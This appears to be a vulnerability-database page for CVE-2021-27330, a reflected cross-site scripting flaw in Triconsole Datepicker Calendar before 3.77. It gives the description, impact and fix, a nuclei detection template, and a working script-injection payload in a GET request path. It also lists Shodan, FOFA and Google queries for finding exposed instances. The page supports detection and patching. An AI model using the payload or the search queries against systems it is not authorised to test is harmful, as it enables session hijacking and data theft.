HexBrain

Browse / CVEs / CVE-2021-27330

CVE-2021-27330· triconsole / datepicker calendar· CWE-79

Triconsole Datepicker Calendar <3.77 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Triconsole Datepicker Calendar that properly validates user input to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "<title>TriConsole.com - PHP Calendar Date Picker</title>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27330 -u <target>

The full check
id: CVE-2021-27330

info:
  name: Triconsole Datepicker Calendar <3.77 - Cross-Site Scripting
  author: pikpikcu,daffainfo
  severity: medium
  description: |
    Triconsole Datepicker Calendar before 3.77 contains a cross-site scripting vulnerability in calendar_form.php. Attackers can read authentication cookies that are still active, which can be used to perform further attacks such as reading browser history, directory listings, and file contents.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Triconsole Datepicker Calendar that properly validates user input to prevent XSS attacks.
  reference:
    - https://www.exploit-db.com/exploits/49597
    - http://www.triconsole.com/
    - http://www.triconsole.com/php/calendar_datepicker.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27330
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27330
    cwe-id: CWE-79
    epss-score: 0.06196
    epss-percentile: 0.93564
    cpe: cpe:2.3:a:triconsole:datepicker_calendar:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: triconsole
    product: datepicker_calendar
    shodan-query: http.title:triconsole.com - php calendar date picker
    fofa-query: title=triconsole.com - php calendar date picker
    google-query:
      - intitle:TriConsole.com - PHP Calendar Date Picker
      - intitle:triconsole.com - php calendar date picker
  tags: cve2021,cve,xss,edb,triconsole,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/calendar/calendar_form.php/"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - '<title>TriConsole.com - PHP Calendar Date Picker</title>'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from